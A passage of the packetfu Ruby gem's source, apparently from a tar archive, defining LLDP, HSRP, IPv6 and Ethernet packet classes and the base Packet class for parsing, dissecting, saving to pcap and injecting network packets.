LLDP ttl. def lldp_ttl=(i); typecast i; end # Getter for the LLDP ttl. def lldp_ttl; self[:lldp_ttl].to_i; end # Setter for the LLDP port description. def lldp_port_description=(i); typecast i; end # Getter for the LLDP port description. def lldp_port_description; self[:lldp_port_description].to_s; end # Setter for the LLDP system name. def lldp_system_name=(i); typecast i; end # Getter for the LLDP system name. def lldp_system_name; self[:lldp_system_name].to_s; end # Setter for the LLDP system description. def lldp_system_description=(i); typecast i; end # Getter for the LLDP system description. def lldp_system_description; self[:lldp_system_description].to_s; end # Setter for the LLDP capability. def lldp_capabilty=(i); typecast i; end # Setter for the LLDP enabled capability. def lldp_enabled_capability=(i); typecast i; end # Setter for the LLDP address type. def lldp_address_type=(i); typecast i; end # Getter for the LLDP address type. def lldp_address_type; self[:lldp_address_type].to_i; end # Setter for the LLDP interface type. def lldp_interface_type=(i); typecast i; end # Getter for the LLDP interface type. def lldp_interface_type; self[:lldp_interface_type].to_i; end # Setter for the LLDP interface. def lldp_interface=(i); typecast i; end # Getter for the LLDP interface type. def lldp_interface; self[:lldp_interface].to_i; end # Setter for the LLDP oid. def lldp_oid=(i); typecast i; end # Getter for the LLDP oid type. def lldp_oid; self[:lldp_oid].to_i; end # Get a more readable source MAC address. def lldp_saddr_mac EthHeader.str2mac(self[:lldp_port_id].to_s) end # Set a more readable source IP address. def lldp_saddr_ip=(addr) self[:lldp_address_type] = 1 self[:lldp_address].read_quad(addr) end # Get a more readable source IP address. def lldp_saddr_ip #ipv4 or ipv6 if (self[:lldp_address_type].to_i == 1) or (self[:lldp_address_type].to_i == 2) begin IPAddr::ntop(self[:lldp_address]) rescue self[:lldp_address] end elsif self[:lldp_address_type].to_i == 6 #mac EthHeader.str2mac(self[:lldp_address].to_s) end end def lldp_address_type_readable case lldp_address_type when 1 "IPv4" when 2 "IPv6" when 6 "MAC" else lldp_address_type end end def lldp_capabilty_readable "0x%04x" % lldp_capabilty end def lldp_enabled_capability_readable "0x%04x" % lldp_enabled_capability end # Readability aliases alias :lldp_chassis_id :lldp_saddr_mac alias :lldp_address :lldp_saddr_ip end # class LLDPHeader end packetfu-1.1.11/lib/packetfu/protos/lldp/mixin.rb0000644000004100000410000000515212573107241021734 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the LLDPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'lldp_header' method (assuming that it is a LLDPHeader object) module LLDPHeaderMixin def lldp_chassis_id_type=(v); self.lldp_header.lldp_chassis_id_type= v; end def lldp_chassis_id_type; self.lldp_header.lldp_chassis_id_type; end def lldp_chassis_id=(v); self.lldp_header.lldp_chassis_id= v; end def lldp_chassis_id; self.lldp_header.lldp_chassis_id_readable(); end def lldp_port_id_type=(v); self.lldp_header.lldp_port_id_type= v; end def lldp_port_id_type; self.lldp_header.lldp_port_id_type; end def lldp_port_id=(v); self.lldp_header.lldp_port_id= v; end def lldp_port_id; self.lldp_header.lldp_port_id_readable(); end def lldp_ttl=(v); self.lldp_header.lldp_ttl= v; end def lldp_ttl; self.lldp_header.lldp_ttl; end def lldp_port_description=(v); self.lldp_header.lldp_port_description= v; end def lldp_port_description; self.lldp_header.lldp_port_description; end def lldp_system_name=(v); self.lldp_header.lldp_system_name= v; end def lldp_system_name; self.lldp_header.lldp_system_name; end def lldp_system_description=(v); self.lldp_header.lldp_system_description= v; end def lldp_system_description; self.lldp_header.lldp_system_description; end def lldp_capabilty=(v); self.lldp_header.lldp_capabilty= v; end def lldp_capabilty; self.lldp_header.lldp_capabilty_readable(); end def lldp_enabled_capability=(v); self.lldp_header.lldp_enabled_capability= v; end def lldp_enabled_capability; self.lldp_header.lldp_enabled_capability_readable(); end def lldp_address_type=(v); self.lldp_header.lldp_address_type= v; end def lldp_address_type; self.lldp_header.lldp_address_type; end def lldp_address=(v); self.lldp_header.lldp_saddr_ip= v; end def lldp_address; self.lldp_header.lldp_saddr_ip(); end def lldp_interface_type=(v); self.lldp_header.lldp_interface_type= v; end def lldp_interface_type; self.lldp_header.lldp_interface_type; end def lldp_interface=(v); self.lldp_header.lldp_interface= v; end def lldp_interface; self.lldp_header.lldp_interface; end def lldp_oid=(v); self.lldp_header.lldp_oid= v; end def lldp_oid; self.lldp_header.lldp_oid; end def lldp_saddr_mac=(v); self.lldp_header.lldp_saddr_mac= v; end def lldp_saddr_mac; self.lldp_header.lldp_saddr_mac; end def lldp_saddr_ip=(v); self.lldp_header.lldp_saddr_ip= v; end def lldp_saddr_ip; self.lldp_header.lldp_saddr_ip(); end end end packetfu-1.1.11/lib/packetfu/protos/ipv6.rb0000644000004100000410000000367212573107241020546 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/ipv6/header' require 'packetfu/protos/ipv6/mixin' module PacketFu # IPv6Packet is used to construct IPv6 Packets. They contain an EthHeader and an IPv6Header, and in # the distant, unknowable future, will take interesting IPv6ish payloads. # # This mostly complete, but not very useful. It's intended primarily as an example protocol. # # == Parameters # # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :flavor # TODO: Sets the "flavor" of the IPv6 packet. No idea what this will look like, haven't done much IPv6 fingerprinting. # :config # A hash of return address details, often the output of Utils.whoami? class IPv6Packet < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPv6HeaderMixin attr_accessor :eth_header, :ipv6_header def self.can_parse?(str) return false unless EthPacket.can_parse? str return false unless str.size >= 54 return false unless str[12,2] == "\x86\xdd" true end def read(str=nil,args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end def initialize(args={}) @eth_header = (args[:eth] || EthHeader.new) @ipv6_header = (args[:ipv6] || IPv6Header.new) @eth_header.eth_proto = 0x86dd @eth_header.body=@ipv6_header @headers = [@eth_header, @ipv6_header] super end # Peek provides summary data on packet contents. def peek(args={}) peek_data = ["6 "] peek_data << "%-5d" % self.to_s.size peek_data << "%-31s" % self.ipv6_saddr peek_data << "-> " peek_data << "%-31s" % self.ipv6_daddr peek_data << " N:" peek_data << self.ipv6_next.to_s(16) peek_data.join end end end packetfu-1.1.11/lib/packetfu/protos/hsrp/0000755000004100000410000000000012573107241020301 5ustar www-datawww-datapacketfu-1.1.11/lib/packetfu/protos/hsrp/header.rb0000644000004100000410000000775612573107241022075 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # HSRPHeader is a complete HSRP struct, used in HSRPPacket. HSRP is typically used for # fault-tolerant default gateway in IP routing environment. # # For more on HSRP packets, see http://www.networksorcery.com/enp/protocol/hsrp.htm # # Submitted by fropert@packetfault.org. Thanks, Francois! # # ==== Header Definition # # Int8 :hsrp_version Default: 0 # Version # Int8 :hsrp_opcode # Opcode # Int8 :hsrp_state # State # Int8 :hsrp_hellotime Default: 3 # Hello Time # Int8 :hsrp_holdtime Default: 10 # Hold Time # Int8 :hsrp_priority # Priority # Int8 :hsrp_group # Group # Int8 :hsrp_reserved Default: 0 # Reserved # String :hsrp_password # Authentication Data # Octets :hsrp_vip # Virtual IP Address # String :body class HSRPHeader < Struct.new(:hsrp_version, :hsrp_opcode, :hsrp_state, :hsrp_hellotime, :hsrp_holdtime, :hsrp_priority, :hsrp_group, :hsrp_reserved, :hsrp_password, :hsrp_vip, :body) include StructFu def initialize(args={}) super( Int8.new(args[:hsrp_version] || 0), Int8.new(args[:hsrp_opcode]), Int8.new(args[:hsrp_state]), Int8.new(args[:hsrp_hellotime] || 3), Int8.new(args[:hsrp_holdtime] || 10), Int8.new(args[:hsrp_priority]), Int8.new(args[:hsrp_group]), Int8.new(args[:hsrp_reserved] || 0), StructFu::String.new.read(args[:hsrp_password] || "cisco\x00\x00\x00"), Octets.new.read(args[:hsrp_vip] || ("\x00" * 4)), StructFu::String.new.read(args[:body]) ) end # Returns the object in string form. def to_s self.to_a.map {|x| x.to_s}.join end # Reads a string to populate the object. def read(str) force_binary(str) return self if str.nil? self[:hsrp_version].read(str[0,1]) self[:hsrp_opcode].read(str[1,1]) self[:hsrp_state].read(str[2,1]) self[:hsrp_hellotime].read(str[3,1]) self[:hsrp_holdtime].read(str[4,1]) self[:hsrp_priority].read(str[5,1]) self[:hsrp_group].read(str[6,1]) self[:hsrp_reserved].read(str[7,1]) self[:hsrp_password].read(str[8,8]) self[:hsrp_vip].read(str[16,4]) self[:body].read(str[20,str.size]) if str.size > 20 self end # Setter for the type. def hsrp_version=(i); typecast i; end # Getter for the type. def hsrp_version; self[:hsrp_version].to_i; end # Setter for the type. def hsrp_opcode=(i); typecast i; end # Getter for the type. def hsrp_opcode; self[:hsrp_opcode].to_i; end # Setter for the type. def hsrp_state=(i); typecast i; end # Getter for the type. def hsrp_state; self[:hsrp_state].to_i; end # Setter for the type. def hsrp_hellotime=(i); typecast i; end # Getter for the type. def hsrp_hellotime; self[:hsrp_hellotime].to_i; end # Setter for the type. def hsrp_holdtime=(i); typecast i; end # Getter for the type. def hsrp_holdtime; self[:hsrp_holdtime].to_i; end # Setter for the type. def hsrp_priority=(i); typecast i; end # Getter for the type. def hsrp_priority; self[:hsrp_priority].to_i; end # Setter for the type. def hsrp_group=(i); typecast i; end # Getter for the type. def hsrp_group; self[:hsrp_group].to_i; end # Setter for the type. def hsrp_reserved=(i); typecast i; end # Getter for the type. def hsrp_reserved; self[:hsrp_reserved].to_i; end def hsrp_addr=(addr) self[:hsrp_vip].read_quad(addr) end # Returns a more readable IP source address. def hsrp_addr self[:hsrp_vip].to_x end # Readability aliases alias :hsrp_vip_readable :hsrp_addr def hsrp_password_readable hsrp_password.to_s.inspect end end end packetfu-1.1.11/lib/packetfu/protos/hsrp/mixin.rb0000644000004100000410000000332512573107241021755 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # This Mixin simplifies access to the HSRPHeaders. Mix this in with your # packet interface, and it will add methods that essentially delegate to # the 'hsrp_header' method (assuming that it is a HSRPHeader object) module HSRPHeaderMixin def hsrp_version=(v); self.hsrp_header.hsrp_version= v; end def hsrp_version; self.hsrp_header.hsrp_version; end def hsrp_opcode=(v); self.hsrp_header.hsrp_opcode= v; end def hsrp_opcode; self.hsrp_header.hsrp_opcode; end def hsrp_state=(v); self.hsrp_header.hsrp_state= v; end def hsrp_state; self.hsrp_header.hsrp_state; end def hsrp_hellotime=(v); self.hsrp_header.hsrp_hellotime= v; end def hsrp_hellotime; self.hsrp_header.hsrp_hellotime; end def hsrp_holdtime=(v); self.hsrp_header.hsrp_holdtime= v; end def hsrp_holdtime; self.hsrp_header.hsrp_holdtime; end def hsrp_priority=(v); self.hsrp_header.hsrp_priority= v; end def hsrp_priority; self.hsrp_header.hsrp_priority; end def hsrp_group=(v); self.hsrp_header.hsrp_group= v; end def hsrp_group; self.hsrp_header.hsrp_group; end def hsrp_reserved=(v); self.hsrp_header.hsrp_reserved= v; end def hsrp_reserved; self.hsrp_header.hsrp_reserved; end def hsrp_addr=(v); self.hsrp_header.hsrp_addr= v; end def hsrp_addr; self.hsrp_header.hsrp_addr; end def hsrp_vip_readable; self.hsrp_header.hsrp_vip_readable; end def hsrp_password_readable; self.hsrp_header.hsrp_password_readable; end def hsrp_password; self.hsrp_header.hsrp_password; end def hsrp_password=(v); self.hsrp_header.hsrp_password= v; end def hsrp_vip; self.hsrp_header.hsrp_vip; end def hsrp_vip=(v); self.hsrp_header.hsrp_vip= v; end end end packetfu-1.1.11/lib/packetfu/protos/hsrp.rb0000644000004100000410000000540212573107241020627 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' require 'packetfu/protos/ip/header' require 'packetfu/protos/ip/mixin' require 'packetfu/protos/udp/header' require 'packetfu/protos/udp/mixin' require 'packetfu/protos/hsrp/header' require 'packetfu/protos/hsrp/mixin' module PacketFu # HSRPPacket is used to construct HSRP Packets. They contain an EthHeader, an IPHeader, and a UDPHeader. # # == Example # # hsrp_pkt.new # hsrp_pkt.hsrp_opcode = 0 # hsrp_pkt.hsrp_state = 16 # hsrp_pkt.hsrp_priority = 254 # hsrp_pkt.hsrp_group = 1 # hsrp_pkt.hsrp_vip = 10.100.100.254 # hsrp_pkt.recalc # hsrp_pkt.to_f('/tmp/hsrp.pcap') # # == Parameters # # :eth # A pre-generated EthHeader object. # :ip # A pre-generated IPHeader object. # :udp # A pre-generated UDPHeader object. # :flavor # TODO: HSRP packets don't tend have any flavor. # :config # A hash of return address details, often the output of Utils.whoami? class HSRPPacket < Packet include ::PacketFu::EthHeaderMixin include ::PacketFu::IPHeaderMixin include ::PacketFu::UDPHeaderMixin include ::PacketFu::HSRPHeaderMixin attr_accessor :eth_header, :ip_header, :udp_header, :hsrp_header def self.can_parse?(str) return false unless str.size >= 54 return false unless EthPacket.can_parse? str return false unless IPPacket.can_parse? str return false unless UDPPacket.can_parse? str temp_packet = UDPPacket.new temp_packet.read(str) if temp_packet.ip_ttl == 1 and [temp_packet.udp_sport,temp_packet.udp_dport] == [1985,1985] return true else return false end end def read(str=nil, args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) self end def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @ip_header = IPHeader.new(args).read(args[:ip]) @ip_header.ip_proto = 0x11 @udp_header = UDPHeader.new(args).read(args[:udp]) @hsrp_header = HSRPHeader.new(args).read(args[:hsrp]) @udp_header.body = @hsrp_header @ip_header.body = @udp_header @eth_header.body = @ip_header @headers = [@eth_header, @ip_header, @udp_header, @hsrp_header] super end # Peek provides summary data on packet contents. def peek_format peek_data = ["UH "] peek_data << "%-5d" % self.to_s.size peek_data << "%-16s" % self.hsrp_addr peek_data << "%-4d" % self.hsrp_group peek_data << "%-35s" % self.hsrp_password_readable peek_data << "%-15s" % self.ip_saddr peek_data.join end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/protos/eth.rb0000644000004100000410000000264712573107241020443 0ustar www-datawww-data# -*- coding: binary -*- require 'packetfu/protos/eth/header' require 'packetfu/protos/eth/mixin' module PacketFu # EthPacket is used to construct Ethernet packets. They contain an # Ethernet header, and that's about it. # # == Example # # require 'packetfu' # eth_pkt = PacketFu::EthPacket.new # eth_pkt.eth_saddr="00:1c:23:44:55:66" # eth_pkt.eth_daddr="00:1c:24:aa:bb:cc" # # eth_pkt.to_w('eth0') # Inject on the wire. (require root) # class EthPacket < Packet include ::PacketFu::EthHeaderMixin attr_accessor :eth_header def self.can_parse?(str) # XXX Temporary fix. Need to extend the EthHeader class to handle more. valid_eth_types = [0x0800, 0x0806, 0x86dd, 0x88cc] return false unless str.size >= 14 type = str[12,2].unpack("n").first rescue nil return false unless valid_eth_types.include? type true end def read(str=nil,args={}) raise "Cannot parse `#{str}'" unless self.class.can_parse?(str) @eth_header.read(str) super(args) return self end # Does nothing, really, since there's no length or # checksum to calculate for a straight Ethernet packet. def recalc(args={}) @headers[0].inspect end def initialize(args={}) @eth_header = EthHeader.new(args).read(args[:eth]) @headers = [@eth_header] super end end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/packet.rb0000644000004100000410000004507412573107241017605 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Packet is the parent class of EthPacket, IPPacket, UDPPacket, TCPPacket, and all # other packets. It acts as both a singleton class, so things like # Packet.parse can happen, and as an abstract class to provide # subclasses some structure. class Packet attr_reader :flavor # Packet Headers are responsible for their own specific flavor methods. attr_accessor :headers # All packets have a header collection, useful for determining protocol trees. attr_accessor :iface # Default inferface to send packets to attr_accessor :inspect_style # Default is :dissect, can also be :hex or :default # Register subclasses in PacketFu.packet_class to do all kinds of neat things # that obviates those long if/else trees for parsing. It's pretty sweet. def self.inherited(subclass) PacketFu.add_packet_class(subclass) end # Force strings into binary. def self.force_binary(str) str.force_encoding Encoding::BINARY if str.respond_to? :force_encoding end # Parse() creates the correct packet type based on the data, and returns the apporpiate # Packet subclass object. # # There is an assumption here that all incoming packets are either EthPacket # or InvalidPacket types. This will be addressed pretty soon. # # If application-layer parsing is /not/ desired, that should be indicated explicitly # with an argument of :parse_app => false. Otherwise, app-layer parsing will happen. # # It is no longer neccisary to manually add packet types here. def self.parse(packet=nil,args={}) parse_app = true if(args[:parse_app].nil? or args[:parse_app]) force_binary(packet) if parse_app classes = PacketFu.packet_classes_by_layer else classes = PacketFu.packet_classes_by_layer_without_application end p = classes.detect { |pclass| pclass.can_parse?(packet) }.new parsed_packet = p.read(packet,args) end def handle_is_identity(ptype) idx = PacketFu.packet_prefixes.index(ptype.to_s.downcase) if idx self.kind_of? PacketFu.packet_classes[idx] else raise NoMethodError, "Undefined method `is_#{ptype}?' for #{self.class}." end end # Get the binary string of the entire packet. def to_s @headers[0].to_s end # In the event of no proper decoding, at least send it to the inner-most header. def write(io) @headers[0].write(io) end # Get the outermost payload (body) of the packet; this is why all packet headers # should have a body type. def payload @headers.last.body end # Set the outermost payload (body) of the packet. def payload=(args) @headers.last.body=(args) end # Converts a packet to libpcap format. Bit of a hack? def to_pcap(args={}) p = PcapPacket.new(:endian => args[:endian], :timestamp => Timestamp.new.to_s, :incl_len => self.to_s.size, :orig_len => self.to_s.size, :data => self) end # Put the entire packet into a libpcap file. XXX: this is a # hack for now just to confirm that packets are getting created # correctly. Now with append! XXX: Document this! def to_f(filename=nil,mode='w') filename ||= 'out.pcap' mode = mode.to_s[0,1] + "b" raise ArgumentError, "Unknown mode: #{mode.to_s}" unless mode =~ /^[wa]/ if(mode == 'w' || !(File.exists?(filename))) data = [PcapHeader.new, self.to_pcap].map {|x| x.to_s}.join else data = self.to_pcap end File.open(filename, mode) {|f| f.write data} return [filename, 1, data.size] end # Put the entire packet on the wire by creating a temporary PacketFu::Inject object. # TODO: Do something with auto-checksumming? def to_w(iface=nil) iface = (iface || self.iface || PacketFu::Config.new.config[:iface]).to_s inj = PacketFu::Inject.new(:iface => iface) inj.array = [@headers[0].to_s] inj.inject end # Recalculates all the calcuated fields for all headers in the packet. # This is important since read() wipes out all the calculated fields # such as length and checksum and what all. def recalc(arg=:all) case arg when :ip ip_recalc(:all) when :ipv6 ipv6_recalc(:all) when :icmp icmp_recalc(:all) when :udp udp_recalc(:all) when :tcp tcp_recalc(:all) when :all ip_recalc(:all) if @ip_header ipv6_recalc(:all) if @ipv6_header icmp_recalc(:all) if @icmp_header udp_recalc(:all) if @udp_header tcp_recalc(:all) if @tcp_header else raise ArgumentError, "Recalculating `#{arg}' unsupported. Try :all" end @headers[0] end # Read() takes (and trusts) the io input and shoves it all into a well-formed Packet. # Note that read is a destructive process, so any existing data will be lost. # # A note on the :strip => true argument: If :strip is set, defined lengths of data will # be believed, and any trailers (such as frame check sequences) will be chopped off. This # helps to ensure well-formed packets, at the cost of losing perhaps important FCS data. # # If :strip is false, header lengths are /not/ believed, and all data will be piped in. # When capturing from the wire, this is usually fine, but recalculating the length before # saving or re-transmitting will absolutely change the data payload; FCS data will become # part of the TCP data as far as tcp_len is concerned. Some effort has been made to preserve # the "real" payload for the purposes of checksums, but currently, it's impossible to seperate # new payload data from old trailers, so things like pkt.payload += "some data" will not work # correctly. # # So, to summarize; if you intend to alter the data, use :strip. If you don't, don't. Also, # this is a horrid hack. Stripping is useful (and fun!), but the default behavior really # should be to create payloads correctly, and /not/ treat extra FCS data as a payload. # # Finally, packet subclasses should take two arguments: the string that is the data # to be transmuted into a packet, as well as args. This superclass method is merely # concerned with handling args common to many packet formats (namely, fixing packets # on the fly) def read(args={}) if args[:fix] || args[:recalc] ip_recalc(:ip_sum) if self.is_ip? recalc(:tcp) if self.is_tcp? recalc(:udp) if self.is_udp? end end # Packets are bundles of lots of objects, so copying them # is a little complicated -- a dup of a packet is actually # full of pass-by-reference stuff in the @headers, so # if you change one, you're changing all this copies, too. # # Normally, this doesn't seem to be a big deal, and it's # a pretty decent performance tradeoff. But, if you're going # to be creating a template packet to base a bunch of slightly # different ones off of (like a fuzzer might), you'll want # to use clone() def clone Packet.parse(self.to_s) end # If two packets are represented as the same binary string, and # they're both actually PacketFu packets of the same sort, they're equal. # # The intuitive result is that a packet of a higher layer (like DNSPacket) # can be equal to a packet of a lower level (like UDPPacket) as long as # the bytes are equal (this can come up if a transport-layer packet has # a hand-crafted payload that is identical to what would have been created # by using an application layer packet) def ==(other) return false unless other.kind_of? self.class return false unless other.respond_to? :to_s self.to_s == other.to_s end # Peek provides summary data on packet contents. # # Each packet type should provide a peek_format. def peek(args={}) idx = @headers.reverse.map {|h| h.respond_to? peek_format}.index(true) if idx @headers.reverse[idx].peek_format else peek_format end end # The peek_format is used to display a single line # of packet data useful for eyeballing. It should not exceed # 80 characters. The Packet superclass defines an example # peek_format, but it should hardly ever be triggered, since # peek traverses the @header list in reverse to find a suitable # format. # # === Format # # * A one or two character protocol initial. It should be unique # * The packet size # * Useful data in a human-usable form. # # Ideally, related peek_formats will all line up with each other # when printed to the screen. # # === Example # # tcp_packet.peek # #=> "T 1054 10.10.10.105:55000 -> 192.168.145.105:80 [......] S:adc7155b|I:8dd0" # tcp_packet.peek.size # #=> 79 # def peek_format peek_data = ["? "] peek_data << "%-5d" % self.to_s.size peek_data << "%68s" % self.to_s[0,34].unpack("H*")[0] peek_data.join end # Defines the layer this packet type lives at, based on the number of headers it # requires. Note that this has little to do with the OSI model, since TCP/IP # doesn't really have Session and Presentation layers. # # Ethernet and the like are layer 1, IP, IPv6, and ARP are layer 2, # TCP, UDP, and other transport protocols are layer 3, and application # protocols are at layer 4 or higher. InvalidPackets have an arbitrary # layer 0 to distinguish them. # # Because these don't change much, it's cheaper just to case through them, # and only resort to counting headers if we don't have a match -- this # makes adding protocols somewhat easier, but of course you can just # override this method over there, too. This is merely optimized # for the most likely protocols you see on the Internet. def self.layer case self.name # Lol ran into case's fancy treatment of classes when /InvalidPacket$/; 0 when /EthPacket$/; 1 when /IPPacket$/, /ARPPacket$/, /LLDPPacket$/, /IPv6Packet$/; 2 when /TCPPacket$/, /UDPPacket$/, /ICMPPacket$/; 3 when /HSRPPacket$/; 4 else; self.new.headers.size end end def layer self.class.layer end def self.layer_symbol case self.layer when 0; :invalid when 1; :link when 2; :internet when 3; :transport else; :application end end def layer_symbol self.class.layer_symbol end # Packet subclasses must override this, since the Packet superclass # can't actually parse anything. def self.can_parse?(str) false end # Hexify provides a neatly-formatted dump of binary data, familar to hex readers. def hexify(str) str.force_encoding(Encoding::BINARY) if str.respond_to? :force_encoding hexascii_lines = str.to_s.unpack("H*")[0].scan(/.{1,32}/) regex = Regexp.new('[\x00-\x1f\x7f-\xff]', nil, 'n') chars = str.to_s.gsub(regex,'.') chars_lines = chars.scan(/.{1,16}/) ret = [] hexascii_lines.size.times {|i| ret << "%-48s %s" % [hexascii_lines[i].gsub(/(.{2})/,"\\1 "),chars_lines[i]]} ret.join("\n") end # If @inspect_style is :default (or :ugly), the inspect output is the usual # inspect. # # If @inspect_style is :hex (or :pretty), the inspect output is # a much more compact hexdump-style, with a shortened set of packet header # names at the top. # # If @inspect_style is :dissect (or :verbose), the inspect output is the # longer, but more readable, dissection of the packet. This is the default. # # TODO: Have an option for colors. Everyone loves colorized irb output. def inspect_hex(arg=0) case arg when :layers ret = [] @headers.size.times do |i| ret << hexify(@headers[i]) end ret when (0..9) if @headers[arg] hexify(@headers[arg]) else nil end when :all inspect_hex(0) end end def dissection_table table = [] @headers.each_with_index do |header,table_idx| proto = header.class.name.sub(/^.*::/,"") table << [proto,[]] header.class.members.each do |elem| elem_sym = elem.to_sym # to_sym needed for 1.8 next if elem_sym == :body elem_type_value = [] elem_type_value[0] = elem readable_element = "#{elem}_readable" if header.respond_to? readable_element elem_type_value[1] = header.send(readable_element) else elem_type_value[1] = header.send(elem) end elem_type_value[2] = header[elem.to_sym].class.name table[table_idx][1] << elem_type_value end end table if @headers.last.members.map {|x| x.to_sym }.include? :body body_part = [:body, self.payload, @headers.last.body.class.name] end table << body_part end # Renders the dissection_table suitable for screen printing. Can take # one or two arguments. If just the one, only that layer will be displayed # take either a range or a number -- if a range, only protos within # that range will be rendered. If an integer, only that proto # will be rendered. def dissect dtable = self.dissection_table hex_body = nil if dtable.last.kind_of?(Array) and dtable.last.first == :body body = dtable.pop hex_body = hexify(body[1]) end elem_widths = [0,0,0] dtable.each do |proto_table| proto_table[1].each do |elems| elems.each_with_index do |e,i| width = e.size elem_widths[i] = width if width > elem_widths[i] end end end total_width = elem_widths.inject(0) {|sum,x| sum+x} table = "" dtable.each do |proto| table << "--" table << proto[0] if total_width > proto[0].size table << ("-" * (total_width - proto[0].size + 2)) else table << ("-" * (total_width + 2)) end table << "\n" proto[1].each do |elems| table << " " elems_table = [] (0..2).each do |i| elems_table << ("%-#{elem_widths[i]}s" % elems[i]) end table << elems_table.join("\s") table << "\n" end end if hex_body && !hex_body.empty? table << "-" * 66 table << "\n" table << "00-01-02-03-04-05-06-07-08-09-0a-0b-0c-0d-0e-0f---0123456789abcdef\n" table << "-" * 66 table << "\n" table << hex_body end table end alias :orig_kind_of? :kind_of? def kind_of?(klass) return true if orig_kind_of? klass packet_types = proto.map {|p| PacketFu.const_get("#{p}Packet")} match = false packet_types.each do |p| if p.ancestors.include? klass match = true break end end return match end # For packets, inspect is overloaded as inspect_hex(0). # Not sure if this is a great idea yet, but it sure makes # the irb output more sane. # # If you hate this, you can run PacketFu.toggle_inspect to return # to the typical (and often unreadable) Object#inspect format. def inspect case @inspect_style when :dissect self.dissect when :hex self.proto.join("|") + "\n" + self.inspect_hex else super end end # Returns the size of the packet (as a binary string) def size self.to_s.size end # Returns an array of protocols contained in this packet. For example: # # t = PacketFu::TCPPacket.new # => 00 1a c5 00 00 00 00 1a c5 00 00 00 08 00 45 00 ..............E. # 00 28 3c ab 00 00 ff 06 7f 25 00 00 00 00 00 00 .(<......%...... # 00 00 93 5e 00 00 ad 4f e4 a4 00 00 00 00 50 00 ...^...O......P. # 40 00 4a 92 00 00 @.J... # t.proto # => ["Eth", "IP", "TCP"] # def proto type_array = [] self.headers.each {|header| type_array << header.class.to_s.split('::').last.gsub(/Header$/,'')} type_array end alias_method :protocol, :proto alias_method :length, :size # the Packet class should not be instantiated directly, since it's an # abstract class that real packet types inherit from. Sadly, this # makes the Packet class more difficult to test directly. def initialize(args={}) if self.class.name =~ /(::|^)PacketFu::Packet$/ raise NoMethodError, "method `new' called for abstract class #{self.class.name}" end @inspect_style = args[:inspect_style] || PacketFu.inspect_style || :dissect if args[:config] args[:config].each_pair do |k,v| case k when :eth_daddr; @eth_header.eth_daddr=v if @eth_header when :eth_saddr; @eth_header.eth_saddr=v if @eth_header when :ip_saddr; @ip_header.ip_saddr=v if @ip_header when :iface; @iface = v end end end end # Delegate to PacketFu's inspect_style, since the # class variable name is the same. Yay for namespace # pollution! def inspect_style=() PacketFu.inspect_style(arg) end #method_missing() delegates protocol-specific field actions to the apporpraite #class variable (which contains the associated packet type) #This register-of-protocols style switch will work for the #forseeable future (there aren't /that/ many packet types), and it's a handy #way to know at a glance what packet types are supported. def method_missing(sym, *args, &block) case sym.to_s when /^is_([a-zA-Z0-9]+)\?/ ptype = $1 if PacketFu.packet_prefixes.index(ptype) self.send(:handle_is_identity, $1) else super end when /^([a-zA-Z0-9]+)_.+/ ptype = $1 if PacketFu.packet_prefixes.index(ptype) self.instance_variable_get("@#{ptype}_header").send(sym,*args, &block) else super end else super end end def respond_to?(sym, include_private = false) if sym.to_s =~ /^(invalid|eth|arp|ip|icmp|udp|hsrp|tcp|ipv6)_/ self.instance_variable_get("@#{$1}_header").respond_to? sym elsif sym.to_s =~ /^is_([a-zA-Z0-9]+)\?/ if PacketFu.packet_prefixes.index($1) true else super end else super end end end # class Packet end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/lib/packetfu/version.rb0000644000004100000410000000320312573107241020007 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # Check the repo's for version release histories VERSION = "1.1.11" # Returns PacketFu::VERSION def self.version VERSION end # Returns a version string in a binary format for easy comparisons. def self.binarize_version(str) if(str.respond_to?(:split) && str =~ /^[0-9]+(\.([0-9]+)(\.[0-9]+)?)?\..+$/) bin_major,bin_minor,bin_teeny = str.split(/\x2e/).map {|x| x.to_i} bin_version = (bin_major.to_i << 16) + (bin_minor.to_i << 8) + bin_teeny.to_i else raise ArgumentError, "Compare version malformed. Should be \x22x.y.z\x22" end end # Returns true if the version is equal to or greater than the compare version. # If the current version of PacketFu is "0.3.1" for example: # # PacketFu.at_least? "0" # => true # PacketFu.at_least? "0.2.9" # => true # PacketFu.at_least? "0.3" # => true # PacketFu.at_least? "1" # => true after 1.0's release # PacketFu.at_least? "1.12" # => false # PacketFu.at_least? "2" # => false def self.at_least?(str) this_version = binarize_version(self.version) ask_version = binarize_version(str) this_version >= ask_version end # Returns true if the current version is older than the compare version. def self.older_than?(str) return false if str == self.version this_version = binarize_version(self.version) ask_version = binarize_version(str) this_version < ask_version end # Returns true if the current version is newer than the compare version. def self.newer_than?(str) return false if str == self.version !self.older_than?(str) end end packetfu-1.1.11/lib/packetfu/config.rb0000644000004100000410000000435112573107241017574 0ustar www-datawww-data# -*- coding: binary -*- module PacketFu # The Config class holds various bits of useful default information # for packet creation. If initialized without arguments, @iface will be # set to ENV['IFACE'] or Pcap.lookupdev (or lo), and the @pcapfile will # be set to "/tmp/out.pcap" # (yes, it's Linux-biased, sorry, fixing # this is a TODO.) # # Any number of instance variables can be passed in to the intialize function (as a # hash), though only the expected network-related variables will be readable and # writeable directly. # # == Examples # # PacketFu::Config.new(:ip_saddr => "1.2.3.4").ip_saddr #=> "1.2.3.4" # PacketFu::Config.new(:foo=>"bar").foo #=> 